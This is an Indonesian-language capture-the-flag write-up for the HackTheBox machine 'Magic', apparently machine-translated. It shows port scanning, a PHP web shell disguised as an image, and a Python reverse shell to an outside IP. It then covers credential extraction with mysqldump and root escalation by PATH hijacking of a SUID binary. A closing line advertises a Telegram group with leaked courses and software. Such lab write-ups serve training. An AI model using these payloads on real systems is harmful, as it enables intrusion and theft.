
Saya terus menerbitkan solusi yang dikirim ke penyelesaian mesin dari situs HackTheBox .
Pada artikel ini, kami melempar shell ke dalam gambar, mencari kredensial menggunakan mysqldump dan meningkatkan hak melalui sysinfo.
Koneksi ke laboratorium melalui VPN. Direkomendasikan untuk tidak terhubung dari komputer kantor atau dari host di mana terdapat data penting untuk Anda, karena Anda berada dalam jaringan pribadi dengan orang-orang yang mengetahui sesuatu tentang keamanan informasi.
Informasi organisasi
Pengintai
Mesin ini memiliki alamat IP 10.10.10.185, yang saya tambahkan ke / etc / hosts.
10.10.10.185 magic.htb
Langkah pertama adalah memindai port yang terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, pertama-tama saya akan melakukannya menggunakan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 500 paket per detik.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.185 --rate=500
Sekarang, untuk mendapatkan informasi lebih rinci tentang layanan yang berjalan di port, jalankan pemindaian dengan opsi -A.
nmap -A magic.htb -p22,80
Tuan rumah memiliki 2 port terbuka: 22 untuk layanan SSH, dan 80 untuk server web. Seperti biasa, kami menjelajahi web.
Perhatikan link ke halaman login. Pertama-tama, kami mencoba satu cara untuk melewati otorisasi, dan menemukan cara yang tepat.
Kami disambut oleh formulir untuk mengunggah gambar. Mari kita coba memasukkan beberapa kode ke dalam php. Untuk melakukan ini, ambil empat byte pertama gambar dan tambahkan beberapa kode ke dalamnya. Dalam hal ini, kami akan mempertahankan ekstensi ganda. Sejak saat boot, server akan memeriksa yang terakhir, dan saat eksekusi - yang pertama.
python -c "print('\x89\x50\x4e\x47' + '<?php echo system($_GET[\'cmd\']); ?>')" > 1.php.png
Tapi kami tertangkap.
Mari kita coba menipu dan menyembunyikan kode di komentar.
Dan setelah mencoba mengunduh, kami diberi tahu tentang unduhan yang berhasil.
File sudah diupload, tapi pertanyaannya adalah dimana. Mari kita lihat direktori, situsnya sederhana dan saya punya banyak waktu, jadi saya tidak menggunakan gobuster dan kamus besar. Jalankan dirb.
Kemungkinan besar, kami menemukan direktori tempat file diunggah. Sekarang mari beralih ke file kita dan berikan perintah ls sebagai parameter.
Dan selesai!
Titik masuk
Mari kita membuang shell terbalik sebagai parameter.
http://10.10.10.185/images/uploads/me.php.jpg?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.60",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Dan kami mendapatkan backconnect pada port 4321.
Dan di direktori kerja kami menemukan file untuk bekerja dengan database.
Dan di file ini kami menemukan kata sandi pengguna.
Selain itu, pengguna ini ada di dalam sistem. Kami mencoba mengubah pengguna, tetapi gagal.
PENGGUNA
Karena ini adalah kata sandi database, ini terkait dengan mysql. Tapi itu tidak berhasil untuk saya dengan mysql atau mysqladmin. Kemudian diputuskan untuk melihat semua program yang berhubungan dengan mysql.
Luck tersenyum pada mysqldump. Kami terhubung dan menemukan kata sandi.
mysqldump -u theseus -p iamkingtheseus Magic
Sekarang kami berhasil mengubah pengguna dan mendapatkan bendera khusus.
AKAR
Untuk kenyamanan, saya membuat kunci SSH menggunakan ssh-keygen, menulis kunci publik ke file ~ / .ssh / authorized_keys, dan menggunakan kunci pribadi yang saya hubungkan melalui SSH. Selanjutnya, unduh LinPEAS ke host jarak jauh dan luncurkan. Setelah daftar lengkap dari seluruh sistem, kami menganalisis hasilnya. Satu-satunya hal yang saya ketagihan adalah file dengan set SUID (yang kami jalankan sebagai root).
Program Sysinfo. Setelah mencari informasi, tidak ditemukan apapun tentang eksekusi perintah. Kemudian muncul ide, bagaimana jika sysinfo menggunakan program lain yang dapat kita diskreditkan. Saya menjalankan sysinfo di bawah ltrace.
Jadi, sysinfo menjalankan program lshw, fdisk dan cat. Sekarang lebih banyak tentang vektor LPE. Sistem operasi memiliki variabel lingkungan PATH yang menyimpan jalur.
Saat Anda mengetik program ls atau cd, sistem akan mencari file-file ini secara bergantian di direktori yang ditentukan di PATH. Jadi, jika kita menulis direktori apa pun di tempat pertama di PATH, dan meletakkan program ls atau cat lain di dalamnya, maka itu akan dipanggil.
Jadi saya akan melakukan ini dengan fdisk. Saya tidak akan melempar reverse shell, tetapi cukup salin kunci SSH kami untuk pengguna root agar dapat terhubung ke root melalui SSH serta pengguna.
Sebut saja fdisk misalnya. Seperti yang Anda lihat, fdisk yang sah telah dipanggil.
Sekarang mari tambahkan jalur kita ke variabel lingkungan PATH.
Sistem sekarang akan mencari fdisk di / tmp / 123 terlebih dahulu.
Ayo jalankan sysinfo.
Kami melihat kesalahan dalam output, karena root tidak memiliki direktori .ssh. Mari kita ubah skrip sehingga pertama kali membuat direktori dan kemudian menyalinnya. Setelah menjalankan sysinfo, tidak ada kesalahan fdisk. Kami terhubung melalui SSH sebagai root dan mengambil benderanya.
Anda dapat bergabung dengan kami di Telegram . Di sana Anda bisa menemukan materi menarik, bocoran kursus, dan software. Mari kumpulkan komunitas yang di dalamnya akan ada orang-orang yang berpengalaman dalam banyak bidang TI, kemudian kita selalu dapat saling membantu dalam setiap masalah TI dan keamanan informasi.